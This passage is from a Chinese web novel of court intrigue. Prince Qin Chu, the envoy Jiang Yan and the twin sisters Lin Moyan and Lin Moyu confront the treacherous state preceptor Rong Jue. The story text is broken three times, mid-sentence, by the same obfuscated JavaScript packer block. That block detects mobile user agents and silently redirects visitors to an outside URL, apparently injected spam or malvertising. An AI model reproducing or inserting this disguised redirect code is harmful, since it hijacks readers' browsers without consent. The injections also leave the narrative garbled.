闻言,江晏的脸色微微变了变,他知胡人是想拉拢西启吞并黎国。但依胡人的作风,一旦吞并黎国,下一个便是西启,秦初显然也很明白这一点。于是江晏便笑道:“来者自是不善。不过秦兄与我讲这么多西启机密,真的不碍事吗?” 秦初看出江晏亦有所顾忌,事关国家大事在所难免,于是笑着表明了态度:“江兄不必多心,使节来朝本就算不得什么机密,自然无碍。你我两国本属同源,前朝旧事暂且不提,但在我手里,我们不会有兵戎相见的那天。” “秦兄的风采英姿令我钦佩不已,我自然也是不愿与秦兄刀剑相向。此次我来西启本就是为了相交,互相怀疑反倒伤了和气。江晏明白秦兄是个爽快人,那我也明人不说暗话。祁连山以北若有什么动作,我定会告诉秦兄。秦兄若有什么问题,也尽可来找我。“江晏展颜一笑道。 “有江兄此言,我便也放心了。”秦初举杯,与江晏碰杯。玉杯相撞,发出清脆声响,一杯酒下肚,便也削弱了些剑拔弩张的气氛。正事议完后,两人开始了闲聊。 江晏将杯中之酒一饮而尽,边倒酒边对秦初说道:“说起来,我一直想问问你,那位林丞相的女儿。” “哦?你是说言儿吗?你对她感兴趣?”秦初饶有趣味的问道。 “对。”江晏莞尔一笑,丝毫不掩饰他对林默言的兴趣。 “她啊,可是个不好惹的主。想必你也已经见识到了。如果你对她感兴趣的话,不妨让我为你引荐引荐。” “那就多谢秦兄费心了,我也会自己出马。”江晏转眼又想起了另外一茬,继续问道:“林默言是不是有一个和她长得一模一样的妹妹?” 秦初点点头,说道:“西启丞相还有一女名为林默语。默言默语为双生子,模样自幼相似,难以分辨。为何突然提起这个?难道你见过语儿?”提起语儿,秦初来了兴致,但也不免有些暗自伤怀,再添了几杯酒。 “有过一面之缘。但她们太像了,我当时还以为她是默言。”江晏叹了口气。 “这很正常,许多人都分辨不出她们二人。别说是你,就连我认识她们这么久了,在一些时候也会分辨不出。”秦初说道。“不过说来我很好奇,你和言儿之间到底是怎么回事,一见面就大打出手。” “此事说来也很有趣……”江晏轻笑,向秦初讲述起他与林家二姐妹相识的过程。两人一边喝酒一边交谈。 听前半段时,秦初还觉得有趣笑了笑。但听到后面,秦初突然变了脸色。 “什么?你说你对语儿做了什么?” 秦初说话的语调都变了不少,把江晏都吓了一跳。抬眼一看,秦初似乎是有点醉了。江晏此刻也有些许醉意涌上来,没有听出其中深意,嘴比脑子快道:“就我跟你说的那样啊,我认错人了大打出手,然后不慎冒犯了她……” 此话一出,还未等江晏说完,秦初瞬间暴躁,把江晏按在地上揍。江晏完全没有防备,一时之间措手不及,被推倒后还一脸懵,一向沉稳的秦初为何会突然做出如此失礼的事情? 两人扭打了一轮,桌子差点被掀翻,江晏还是没想明白自己为何被打。终于在桌子被掀翻后,秦初稍微冷静了一些。秦初虽没下死手,但力道也够狠,毫无战斗之心的江晏被打的够呛。 “你该不会……喜欢林默语吧?”这是江晏思考了半天后的结果。 “你说呢?”秦初对林默语从来都是小心谨慎无微不至,从来没有任何失礼的地方。在他心中语儿就如同那高岭之花,冰清玉洁,且事实上林默语确实一直都是这样。方才一听到江晏有冒犯她的举动,一时酒劲上头就出手了。现在才恢复了一些理智。 江晏被打后却也并不恼,而是颇为郁闷的说道:“我看是。可是我也不想的啊,我本无意冒犯,但她们那么像我根本看不出来。而且她们的招式也是师出同门,万般巧合之下才造成了这样的局面……” 秦初也知他是无意之过,只是一时有点气愤。 “那你得手了吗?”江晏禁不住有点好奇。见秦初半天不说话,江晏心中了然,没有得手。江晏起身拍了拍身上的尘土整理仪容,伸手也将秦初拉了起来。 “抱歉啊江兄,我方才有些失态了。”秦初恢复了理智,扶额皱眉。 “无妨。秦兄真性情,我喜欢与这样的人相交。”江晏并不在意,反倒觉得打了一场之后,友情更进一步。“以你的身份,完全可以让你的父皇赐一道婚。正好你们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485236|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门当户对,她本就是皇后的不二人选。但你却并没有这样做,没有用身份权力去束缚她。那就足以看出,秦兄的用心之深。” “那当然。我要她心甘情愿做我的皇后。若到最后她还是不愿意,那便算了。”秦初眼底闪过一丝失落。江晏拍拍他的肩膀以示安慰。 天色已晚,闲谈几句后,秦初告别江晏,起程回太子殿。 林默语在姐姐回房后就躺在了床上,却一直辗转反侧,难以入眠。思量片刻,林默语起身穿戴整齐,轻手轻脚地走了出去。 此时月升中天,林默语一路走向围猎场。横竖睡不着,不如出去练一会儿剑。此刻围猎场应该没有人,为了不吵醒姐姐让她担心,林默语就选择出了林府。 经过初雨阁时,林默语顿足片刻,抬头望向那牌匾,心中不免又想起了秦初。她对秦初到底是什么感受呢?她自己也很别扭。林默语不喜欢这种愁绪万千的感觉,转身离开了这个是非之地。 初到西启不久,拓跋宇未曾想到竟有人已经得知了他的行踪。此次他虽明面上与鲜卑使节团一同前往西启,但暗地里他提前赶了几日路程先一步到达,为的就是先一步探探虚实,且与一人互相接应。 拓跋宇上下打量眼前之人,一身黑袍暗纹流转,脸色苍白阴郁,目光阴沉锐利,仿佛能够洞悉一切。拓跋宇一眼看出他定不会是普通人,将刀架在他的脖子上,目光冰冷的逼问道:“你究竟是何人?为何会知道本王的行踪?” 容玦却淡淡一笑,任由刀架在脖子上,毫无躲闪之意。毫不畏惧的直视着拓跋宇的眼睛说道:“王子殿下稍安勿躁,我并不是您的敌人。您不应该对我拔刀相向,而是应该欢迎我。” 拓跋宇微皱眉头,眼中有几分不耐,将刀尖进一步抵向他的喉咙道:“不必废话,报上名来。” 容玦依旧坐怀不乱,有条不紊道:“在下乃西启国师,容玦。” 听到这个名字,拓跋宇的眼神变了变道:“你便是容玦?”但他并没有放下刀,而是继续逼问:“线人的消息应当还没有传到你这里吧?你又如何得知本王行踪?谁给你的胆子,竟敢监视本王?” “我如何得知有那么重要吗?此时我们尚且站在同一边,我会助王子殿下拿到你想要的。别忘了,我们不过是各取所需而已。王子殿下这一刀要是割下去,整个西启都不会再找出我这般得力的助手。”容玦始终抬着头露出脖颈,毫无惧色。 拓跋宇思量片刻,将刀收入刀鞘之中,一只脚踩在桌子上看着他道:“说的不无道理。那烦请国师大人再说说,应允之事如何了?” “自然是言出必行。三日之后,许州见。臣已安排好各项事宜,静候王子殿下。”容玦说完后,转身走了出去。 拓跋宇擦拭着自己的刀,眼中寒光闪烁。在未来西启之前,他就与这位国师有过几次接触。这个容玦在战术上为他帮助较多,甚至还拿出了许多银元粮草助他征战。他一开始就想不通为何一个身居高位之人会做出这么多背叛自己国家的事,但也不必想通,只要他对自己有利用价值便可。 拓跋宇收起刀,拿起弓箭出了门。 5. 第 5 章 夜色已深,围猎场的密林漆黑一片,唯有借助树木缝隙间透下来的点点月色,才能看清一些事物。但往往这个时候,一些白日里潜伏的小动物会显露出来。 拓跋宇眼力极佳,饶是在黑夜里也并不会影响他的发挥。他敏锐的盯着眼前的草丛,双耳洞悉着一切风吹草动的声音,瞄准片刻一箭射出,箭矢随风呼啸而过,前方的鹿应声倒下。拓跋宇垂首,看着不到半个时辰便收获的五头猎物,觉得甚是无趣,甚至懒得去捡。中原的鹿,比起漠北,还是差的太远了,他便想当然的觉得人也不会好到哪里去。既是这样,那么他很快就可以逐鹿中原了。 拓跋宇收起弓箭,往前方的开阔地带走。却听前方似有些许窸窸窣窣的声音,原本以为又是什么猎物,走进些许后定睛一看,发现是比猎物更有趣的东西。 林默语迎风舞剑,招招狠利,剑刃倒映着银白色的月光。她不时向前在空中劈砍,将飘零的树叶斩为两半,似是在练功,又更似在发泄。一招一式利落且漂亮。拓跋宇看着盈盈月光下舞剑的佳人,来了兴致。再次搭弓拉弦,对着她的方向射出一箭。 林默语立即意识到了不对劲,仰身后退,险险避过这一箭,箭矢擦过她的头发射中了前边的一棵树。 “何人在此?”林默语握着剑,指向箭矢射出的方向。拓跋宇收起弓,从密林的掩映中走了出来。看着林默语,狡黠一笑道:“中原大地,果真是美女如云。” 林默语皱了皱眉,借着月光打量眼前人。只见他虽是一身西启装束,但很明显不是中原人的长相。褐发碧眼,眼窝深邃,眉毛浓密,鼻梁高挺呈鹰钩鼻的形状。一身规规矩矩的中原装束,也难掩他狂野的气质。 “你是胡人?”林默语问道。她依旧保持着十二分的警觉。 “是胡是汉,有那么重要吗?”拓跋宇笑着走向前。 “奉劝你,要是再敢往前,我不会手下留情。”林默语冷冷盯着他,不动声色的后退。 拓跋宇恍若未闻,径直走了过来。只是轻轻抓了一下她的胳膊,林默语的剑便脱手了,应声落地。 林默语瞪大了眼。正待出手,却听拓跋宇幽幽笑道:“不必如此紧张。如果我真想杀你,那一箭,你无论如何都躲不过去的。不如放松下来,与我交谈交谈。” 与他交手也讨不到好处,林默语便选择了明哲保身。她盯着拓跋宇的眼睛,问道:“说吧,你到底想干什么?”方才距离较远时林默语还尚未看见,此刻他靠近时林默语才注意到他的下颚处有一条很长很明显的疤痕。这个狰狞程度,若是再往下一点他恐怕已经毙命了。 “其实也没什么,不过是想博佳人一笑。” 林默语此刻真的快要被气笑了。“你们胡人都是这样博女子一笑的吗?” 看着眼前之人,拓跋宇便觉得赏心悦目,不禁开口问道:“你愿意和我回漠北吗?” “你觉得我会答应?”林默语深感莫名其妙。 “你会跟我回去的,你信吗?”拓跋宇却很笃定。 “我不信,也不愿奉陪。”林默言依旧冷淡,听不出任何情绪。正在这时,远方传来了一阵嘹亮的哨声,声音奇特,颇具异域风采。 “那就下次见了,小美人。”拓跋宇向她一挥手,转身离开。 林默语心中郁闷至极,这已经是她第二次莫名其妙被人打了,且自己还打不过。简直就是无妄之灾。看着那离去的胡人,林默语隐隐觉得她招惹到了很难缠的麻烦。听闻西启进来要与鲜卑族建交,但使节团还未到达皇城之中,那她遇到的这人又会是谁?林默语始终保持着冷静与理智思考,决定将这件事告知秦初。虽然她现在面对秦初时很别扭,但在大义面前这些都算不了什么。林默语打量了一下围猎场,思索片刻决定偷偷跟上去看看。 林默言难得起了个早,却没有看见妹妹。 “奇怪,语儿这么早就出去了吗?”林默言犯起了嘀咕。正在此时,下人传来急报,太子殿下急召她入殿。秦初很少这样加急找她,一定是有什么事,林默言便动身前往太子殿。 林默言刚出林府走了没几步,就看到了前方一个熟悉的身影。只见江晏手背在身后,漫不经心的向林府的方向眺望。林默言看见这个登徒子就来气,打算绕着他走。江晏却看见了她,向着她的方向走来。俊朗的脸庞挂着一丝微笑,整个人看起来分外惹眼。但这些在林默言眼中纷纷化为了欠揍。 “哎,先打住。我今天可没有什么心情陪你玩。”林默言连忙向后退了几步。 “我是什么豺狼虎豹吗?让你这么避之不及。”江晏看着林默语这般反应,颇感郁闷。 “和你一见面就打架,我不应该是这种反应吗?”林默语撇了撇嘴。 这么一说,江晏也意识到了,两人似乎确实是这样,为数不多的见面都以打架开场。 “是吗?那这次我们就不打架了。”江晏冲她莞尔一笑,随即问道:“你这是准备去哪?” 林默言故意侧转过身,不去看他那惑人的笑,回答道:“秦初找我,应当是有事,我现在要去太子殿。” 江晏却偏要正对着她,她一转身,江晏也跟着走了过来。“原来是去找秦兄。那我陪你一同前往如何?” “不必了,我又不是没长腿需要你抬。”林默言再次侧过身,江晏也继续跟了上来。 两人在原地转起了圈,林默言朝向哪,江晏就追向哪。终于,林默言被气笑了,看向他道:“幼不幼稚啊你?” 江晏见她终于笑了,暗自开心,嘴上却继续不饶人道:“你怎么好意思说我?哪有你幼稚。” 林默言正准备回嘴,却突然听到了语儿的声音。她一转身,林默语竟真在不远处。江晏顺着她的目光看过去,也看见了不远处的林默语。 林默言在围猎场追上去后却并没有什么有用的发现,那人走得太快且并未留下痕迹。她又在附近视察了一番,一直折腾到了天亮,此刻身心俱疲回往林府。 “语儿,我在这里!”林默言冲她喊道。 林默语听到姐姐的声音,瞬间清醒了几分,向着姐姐的方向走去。 “语儿,他欺负我!!”林默言故意带着几分哭腔喊道。一旁的江晏目瞪口呆,哪有这样当姐姐的? 林默语怒目瞪向江晏,刚才没有注意,一看之下才发现此人就是那天对她大打出手的人,瞬间气不打一处来。 “好啊,你还敢欺负我的姐姐?刚好新仇旧账一起算。”林默语说着便开始动手,江晏无奈被迫接招。没想到今天还是打了起来。。林默语快准狠直击他的门面,江晏却连连闪避,他可不敢再碰秦初的宝贝疙瘩。林默语出手干净利落,这让江晏想起了他和秦初打的那一架,心想这俩人还挺般配。 林默言看着江晏被打的节节败退,突然笑了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485237|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她挑挑眉,说道:“语儿,我们走吧,不要和他计较了。”林默语听到姐姐叫她立马走了过去。 “知道厉害了吧?”林默言努力抬高下巴与他平视。 江晏被她这副模样给逗笑了,说道:“哪有你这样当姐姐的?”看着这两个几乎一模一样的人站在一起,视觉冲击力还是很强。 “要你管!’林默言说着拉住林默语的胳膊往前走,还回头补了一句:“不许跟上来,不然我就让语儿打你。你这个讨厌鬼!” 看着她有了林默语的陪同,江晏没有再跟上去。心中微微有些郁闷,但感情上的事终究不能急于一时。 “姐姐,你认识他吗?”走出一段距离后,林默语问道。 “他啊,就是个讨厌鬼!”林默言顿了顿,继续说道:“秦初跟我说他是黎国八皇子江晏,我看是登徒子还差不多。” 林默语从姐姐的话中听出了一丝异样的情绪,结合她之前的遭遇,心中产生了一些怀疑,问道:“登徒子?为何这么说?” 林默言一时嘴快,她不想再提那些丢脸的事情,于是说道:“这个说来话长……但我心中一想到他就烦,日后再给你说吧。”她如此说,林默语便没有再继续追问。 “听说秦初在城东花费几年修建的阁楼近期完工了。语儿,你有去过吗?”林默言随口将话题扯开。 “嗯……乞巧节时我们就是在那里见面的。”林默语淡淡道。 这对林默语来说并不是一个愉快的话题,林默言立马收住。 “姐姐,你方才是想去哪里?”林默语问道。 “秦初有事找我,我要去一趟太子殿。”话题又扯会到秦初身上。 林默语听后顿了顿,随后说道:“既是如此,那姐姐帮我向太子殿下传个话。我在围猎场附近,碰到了一个胡人,我总觉得此事有些蹊跷……”林默语向姐姐讲述了自己的经历。 林默言听后,顿时也警觉了起来,说道:“语儿放心,我会告诉秦初的。” “那姐姐快去吧。我有点累,先回去了。”林默语此刻已是疲惫至极。姐妹二人相互告别后,林默语回了林府,林默言只身前往太子殿。 到达太子殿后秦初却不在,侍卫前来向她通传太子殿下马上就会回来,林默言便进了殿内等候。 四处随意转了转,林默言看到了桌上的一盘糕点,坐下随手拿了一块送入口中。今日起的太早,此刻渐渐有困意上涌,秦初还未回来,林默言便撑着额头小酣一会儿。 珠帘外,一位男子不动声色的盯了林默言许久,他轻轻地拨开珠帘走了进去。看着眼前明媚娇艳的人,以及那颗显眼的美人痣,容玦伸出手,轻轻碰了一下她的额头。 这一碰,惊醒了林默言的睡意,林默言几乎是从座位上弹了起来,警觉的看向来人。只见来人一身黑袍庄肃沉稳,在这一身黑衣的掩映下,他的脸显得尤为苍白,没有几分血色,莫名给人一种阴郁之感。他那漆黑的眼眸在看着林默言时有一丝复杂深沉,令人捉摸不透。 容玦伸出手,林默言下意识想躲却没能躲掉,对方精准地捏住了她的下巴,却只是为她轻轻擦去了嘴上的糕点残渣。 “你是,林默言?”容玦微微一笑,声音有些许低沉。 “嗯。”林默言愣愣地点点头,察觉到对方没有敌意后她也逐渐放松了警惕,但她总感觉眼前之人有一种奇怪的压迫感。 6. 第 6 章 “你是谁?秦……太子殿下呢?”林默言问道。 “在下徐衍,是一位县令的差使,奉命向太子殿下汇报事务。”容玦静静地注视着林默言,随后脸不红心不跳的冒用了一个身份。“至于太子殿下,他方才有事出去了。如今算算时辰,他应当快要回来了。” 林默言觉得这人怎么看都不像一个小小的差使,但她也懒得细想,眼下还有更多更要紧的事。她总觉得这人看她的目光别有深意,那种目光令她很不自在,于是干脆走向别处。 当她再次转身时,那人却不知何时已经离开了。 “神出鬼没的……”林默言小声嘀咕道。 殿外,秦初风风火火地赶了回来,脸色很是阴沉。他回到偏殿一看,容玦早已没了身影。秦初目光冰冷到极致,握紧了拳。 “国师呢?”秦初冷冷开口,问殿前的侍卫。 侍卫连忙诚惶诚恐地行礼,小心翼翼的回答道:“国师方才已经离开,并且转告殿下‘若无实证,切勿叨扰’”。闻言,秦初冷笑了一下,随即慢慢平复心情,告诫自己不可因为一时冲动而自乱阵脚。想着林默言此刻应该到了,秦初走向正殿。 林默言早已等待多时,秦初一进来便开始抱怨道:“太子殿下十万火急地找我来,却让我等了你这么久,我看你明明一点都不急。” “这次找你来,是有一件非常重要的事要拜托你。”秦初一脸严肃的说道见他如此严肃,林默言便也不再嬉皮笑脸,认真听了起来。 “近期发生了一起官银失窃案,牵扯了诸多利益。背后的主谋想必你应该听说过,就是当朝国师容玦。我需要你做的,是找出官银的下落,并尽力找出他的罪证。”秦初说道。 “这可不是个简单的差事……”林默言听的头都大了。 “你去办的话,我更放心。其他人怎能与你相比?”秦初拍起了马屁。 “那语儿呢?你为什么不去找语儿?”林默言不吃这一套,故意问道。 秦初面露难堪之色,刚想说些什么,林默言打断了他:“行了,不要胡扯。你和语儿的那些事,我已经知道了。” 秦初没有说话,林默言会知道这件事他并不奇怪,语儿从来不会瞒着姐姐什么。所以林默言知道是迟早的事,都在他的意料之中。 “你应该明白的,语儿为什么会拒绝你。”林默言难得摆出一副语重心长的口气。 “我当然明白。我只是……不甘心而已。”秦初微微垂首。 林默言叹了口气,拍了拍秦初的肩膀说道:“来日方长,且先不说这些了。这件差事你就放心的交给我,为了保险起见,我会带着语儿一起去的。” “好。那就拜托你了。”秦初向林默言讲述了详细的案情以及事发地点,反复叮嘱她要万事小心。林默言连连应是。 案件梳理完毕后,林默言对秦初说道:“语儿让我转告你一件事,她在围猎场附近遇见了一个胡人。这件事,你多留意些。” “胡人?”秦初皱眉沉思,说道:“我知道了,这件事我会留意的。” 林默言重新回到林府,见林默语还在屋内休息,便轻手轻脚的地走了进去,准备等一会再叫醒她。谁知林默语却异常灵敏,还是醒了。 “姐姐,你回来了。”林默语起身看向她。 “嗯。”林默言走到床边坐下。“我本想等一会再叫醒你的,没想到把你给吵醒了。” 既然语儿已经醒来,林默言就告诉了她秦初的委托。详细的说明之后,林默言没想到语儿竟十分爽快的答应了下来。 “我怎么放心你一个人去呢?正好最近也没有别的事情。另一方面,秦初他既然选择了找你,那就说明他的手底下已经没有值得完全信任的人了。如此这般,我岂有不帮之理?”林默语向她解释道。语儿一向如此顾全大局,林默言很是欣慰。 “此事事关重大,我们需万分小心谨慎。今天先好好休息,明日一早我们就起程。”林默言说道,随后回了自己房间。 秦初苦恼了半天,最终还是下定决心进宫去见父皇。近期朝中事务繁多,在外贸上,西启忙着与他国建交。在内务上,亦是事务多发,前有官银丢失一案,后有朝中国师容玦的势头越来越大,作风也越来越张扬,在朝中的话语权已经快要赶上丞相林瞻远。国师这个位置,本不应该左右太多朝中政局,全凭皇帝信与不信。秦初想不明白,父皇为何会如此纵容容玦,他明明才刚登上国师之位不久,父皇却如此器重他。 秦初赶到皇宫时,父皇正在批奏章。 “儿臣参见父皇。”秦初上前行礼。皇帝抬头看了一眼,示意免礼。 “太子深夜赶来,所为何事?”秦建忠继续低头看奏章,眉头紧皱。 事务颇多,秦初先是说了与鲜卑建交一事。“父皇,关于与漠北建交一事,儿臣总觉得来者不善。且漠北与黎国近期多有冲突,若我们做不好取舍,只怕两边都讨不到好处。” “那依你看,此事该如何取舍?”秦建忠抬眼看向他。 “儿臣以为,应当对鲜卑一族多加提防。北方胡人向来对中原大地十分觊觎,若是他们真的攻破了黎国,身处邻国的我们只怕是唇亡齿寒了。”秦初说道。 “太子的意思是,帮助黎国击退胡人?” “回父皇,儿臣正是此意。”秦初毕恭毕敬道。 “可朕觉得,黎国此刻并没有处于水深火热濒临灭亡之态,战争并不会波及西启。若是此时贸然做决定,只怕会引火烧身。”秦建忠知道秦初所说不无道理,只是漠北大单于亲自传信要与西启建交,没有不迎接之理。 “儿臣明白,此事还需静观其变。”秦初说道。 外交事务议完后,秦建忠见秦初还是没有要走的打算,问道:“还有何事?” 秦初思量片刻,还是上前道:“启禀父皇,儿臣此次前来还有一事相劝。容玦此人恃宠而骄,近日的作风已引来众多大臣不满。儿臣以为,一个刚上任不足一年的国师不宜有如此大的权力。容玦此人来历不明,也不应该如此器重。” 闻言,秦建忠放下手中奏章,满眼怒气道:“你是觉得朕老糊涂了,朝中事务轮到你来做主了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485238|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”皇帝发起怒来威严无比,强大的压迫感足以令人腿软。哪怕是在平时和他交谈也会让人感到万分惶恐。秦初身上那种与生俱来的威严便是遗传于此。 “父皇息怒,儿臣并无此意!”秦初没料到父皇的反应如此之大。皇帝的脾气向来喜怒无常,在秦初的印象中,自他小时候父皇还未登基时就一直是易怒的脾性。所谓伴君如伴虎,哪怕是作为嫡长子的秦初也受过不少责罚。 “退下!”秦建忠怒吼道。秦初只得依言退了出去。 秦建忠看着桌上的一叠奏章,拿起来用烛火引燃扔入火盆。上面的内容无一例外,都是弹劾容玦的内容。但他并不打算处置容玦。不管容玦是何来历,他只需借助容玦达到目的即可。 看着眼前引燃的奏章,火焰上下舞动,秦建忠忽然想起自己初次见到容玦并决定任用他时的情景。 那日秦建忠微服出访,途中却突遇一人拦架,且那人知道他的身份。 来人正是容玦。正当侍卫准备将他拖下去时,容玦突然开口道:“还请陛下给个机会,草民可为陛下分忧。” 秦建忠本不想理他,却听容玦继续说道:“陛下之忧,在于丞相,在于大将军吧。若陛下能够任用我,我可以让陛下得偿所愿。” 听他如此猖狂的口气,秦建忠突然来了些兴致,冷笑道:“若朕任用了你,你却不能如你所言那般呢?” “肝脑涂地,致死不悔。”容玦毕恭毕敬道。 “好啊,那便如你所愿。”秦建忠轻蔑的看着他道“你知道尊卢沙吗?若你没有这个本事,你就会是下一个尊卢沙。” 古有秦国尊卢沙,擅夸谈,被人耻笑而不自知,且狂妄自大的要向楚王传授治理国家的方法。觐见楚王时,态度极其傲慢,楚王求贤若渴并未与他计较,拜他为卿并予以重用。晋国率兵来犯时,楚王前去询问他退敌之法,但尊卢沙却只会夸谈并没有真才实学,心中慌乱之下,说出让楚王割地给晋国以平息战乱的方法。楚王大怒,将尊卢沙打入牢中施以劓刑。 容玦心中了然,跪地行礼道:“谢陛下,臣定不负所托。” 任用容玦为国师后,秦建忠没想到他竟真有几分真才实学,不仅精通百家言论,治国之策,还了解祭祀的各项事宜,占卜预测更是不在话下,完全担当的起这个国师之位。他的个人能力很强,也擅交际,不久便在朝中拉拢了几方势力,对林瞻远起到了一定的牵制作用。于是秦建忠便开始重用容玦。 他的目的就是借容玦之手除掉林瞻远和将军李益。在位这些年,行政大权和兵权一直掌握在这二人手中。他虽名为皇帝,却处处受到牵制。秦建忠很清楚自己的皇位是怎么来的,他对此局面根本无能为力,他动不了林瞻远,无法从根源上解决问题。如今好不容易有能够动摇林瞻远和李益的人出现,不管此人是不是善类,物尽其用便可。 秦建忠怒火中烧,走进了祠堂。看着一排排的碑位,拔出长剑将刻着“广平王秦建成之位”的木碑斩为碎块,眼中满是讽刺。 “你广平天下,可坐在这个位置上的,终究是我。” 7. 第 7 章 第二日清晨,林默言在为父亲留下一封信说明去意后,拉着语儿前往目的地许州芜山县。许州距都城洛阳较远,此次的任务要尽量保密,于是姐妹二人便骑马从小道上走。哪怕是快马加鞭,也要赶上好几天的路程。 这一路上甚是荒凉,连个休息歇脚的地方都没有。林默言开始在心中抱怨,话本上那种外出必有破庙的情节果然是假的,这里什么都没有,只有风餐露宿。但只要过两天走出这片区域就好了。到了傍晚,姐妹二人选了一块地方准备生火,休息一晚保存体力明日再走。两人在商议后决定各自到不远处找些柴火,然后再回到这里生火休息。 林默言沿着一条小道往里走,这个季节干柴很少且分布零散,这便是两人分头找的原因。这里的树木很茂密,再搭配上入秋微凉的空气,莫名给人一种阴森之感。淡淡的月光照耀之下,前方的路一片迷蒙。 林默言转身在一棵树上折下干柴,突然感觉到有什么东西轻轻碰了一下她的肩膀,回头一看却什么都没有。林默言以为是错觉,便继续寻找干柴。隔了几秒钟后林默言又感觉到有什么在碰她,这一次的感觉尤为清晰,绝对不会是错觉。林默言猛地回头,背后依旧空空如也。 “是谁在装神弄鬼?滚出来!”林默言警觉的看着四周。 突然从天而降了一个人,在距林默言近在咫尺的地方做了一个鬼脸。林默言被这突如其来的一幕吓了一跳,惊叫出声,迅速向后退了几步。在看清来人后,林默言的害怕全部转为了怒气。 “你干什么?太过分了你!知不知道这样真的很吓人?”说着便一拳砸向对方。 江晏没有躲开,接下她这一拳,嬉皮笑脸地说道:“怎么?吓到你了?” “无耻之徒!你来这里干什么?”林默言生气的质问道。 “怎么?我不能来吗?好吧,其实我这次来是要当护花使者的。感不感动?要不要扑进我的怀里哭一哭?”江晏笑着说道,甚至向她张开怀抱。 林默言快要被他气死了,嫌弃的说道:“赶紧滚吧你!” “你这般绝情,我会伤心的。”江晏收回手,跟在她身后。 “你最好伤心死。”林默言还是很生气,她刚才是真的被吓到了。这家伙是怎么从天而降的?一直趴在树上吗? 其实江晏是在去找秦初时得知了林家二姐妹了许州出使任务。西启的事务江晏本不应该干涉,但秦初实在放心不下,有意让他来保护姐妹二人。 “这件案子交给她们去办,实属无奈之举,我实在放心不下。”秦初对江晏说道。 “那你为何还让她们去?”江晏问道。 秦初叹了口气,说道:“虽说家丑不可外扬,但想必到了这种地步你也应该听过些许风声。西启进来国师独大,以他的手段,我的手底下可能已经没有多少值得信任之人了。让默言默语去,是最好的选择。我相信她们的能力,但……也免不了有些担心。” “我是外邦人,你不怕我对西启做出什么不利的事吗?”江晏笑着问道。 秦初笑着回应道:“我与江兄相识也有一年多了吧,江兄是什么样的人我也是大概了解的。我相信你,那样做对你没有多少好处。” “好,看在你这么相信我的份上,我就勉为其难的答应去了。”江晏故意摆出一副很勉强的表情。 秦初很是无奈,说道:“什么啊?我看你明明就很乐意和言儿一起去。” 江晏便在第二日出发前往许州,一路快马加鞭,赶上了两姐妹的脚程。正巧碰到了正在寻找干柴的林默言,就使坏吓了吓她,没想到竟真把她给吓到了,她这一路上都在生气。江晏缠着林默言给她讲了来的缘由,看着她气鼓鼓的样子忍笑忍到腹痛。 “所以说,是秦初让你来的?”林默言表示怀疑,秦初为何会如此轻信外邦人。 “当然是。”江晏挑了挑眉。 “那好,既然来了,那么从现在开始,你做什么都得听我的。”林默言停了下来,回头叉腰看向他。“听明白了吗?” 听着她略带一丝命令的口吻,江晏忍俊不禁,莫名想到了初次见她的场景。一如既往的刁蛮,还挺可爱的。 “好的,我知道了。那么现在我应该干点什么?”江晏眼中满是笑意。 “你现在应该去找些柴火,要干一些的。然后我们去前面找语儿汇合。”林默言说道。 “遵命,林大小姐。”江晏嘴上说着恭恭敬敬的话,可他整个人看起来一点都不恭敬。对于刚才的事情,林默言还是很生气,干脆把这家伙甩在身后。 月色暗了几分,斑驳的枝丫映照在地面上,不甚分明。林默言和江晏各自拿了一些柴火,向前方与林默语约定好的地点走去。可到了地方后,林默语却还未回来。两人先生起了火,坐在火堆旁打算再等等看。 过了许久,夜幕完全降临,还是没有见到林默语回来。林默言等不下去了,当即站了起来。 “不行,我等不下去了,万一语儿出了什么事情怎么办?我得去找她。” 江晏还从未见过林默言如此慌乱不堪的模样,安慰她道:“先冷静,我陪你去找。林默语的身手那么好,不会有事的。” 两人沿着林中小道一路向前,脚下坑洼不平,四处皆是碎石。飘散的黑云吞没月色,漆黑一片。江晏点起火把,紧跟在林默言身后,时刻注意着前方。 秋季的山风略微刺骨,江晏见林默言穿着单薄,脱下披风给林默言系上。 “这山路不好走,你小心些。”江晏说道。 “我没事,找语儿要紧。”林默言依旧倔强地快步向前。 天有不测风云。一道炫目的闪电划破漆黑的夜空,在一刹间照亮了整片林子,与之紧紧相随的是几阵闷雷声响起。 “完了……”林默言的脸色瞬间苍白,加快了脚步向前跑去,大声呼喊着林默语。江晏紧随其后,在距她一步的距离跟着喊。 雷声嘹亮,穿透寂静的夜,呼喊声亦被雷声淹没,空中飘起了丝丝凉凉的小雨点。林默言顾不得那么多,依旧快速向前。 